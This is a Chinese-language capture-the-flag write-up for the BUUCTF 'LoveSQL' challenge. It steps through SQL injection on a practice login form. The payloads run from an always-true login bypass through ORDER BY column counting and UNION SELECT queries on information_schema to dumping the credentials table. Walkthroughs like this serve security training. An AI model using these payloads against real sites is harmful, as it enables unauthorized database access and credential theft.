buuctf [极客大挑战 2019]LoveSQL

又一次来到性感又有趣的题目

发现登录框，我们再试试万能密码登录，
在登录框中输入：

用户名：1' or 1=1#
密码：随便输

发现直接出密码，试试MD5解密,md5解密失败，接着回到注入的地方康康
在url中输入：

/check.php?username=admin' order by 3%23&password=1     存在
/check.php?username=admin' order by 4%23&password=1     报错

注意：sql注入结尾的时候不能用#，而用其url编码%23

共3个字段。使用union select联合查询

/check.php?username=1' union select 1,2,3%23&password=1

得到回显点位为2和3，查询当前数据库名及版本：

/check.php?username=1' union select 1,database(),version()%23&password=1

查询到当前数据库为geek,然后查询数据库的表

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

查询到两个表，我们在l0ve1ysq1这个表下查询字段

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

得到三个字段，爆出数据得到flag

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1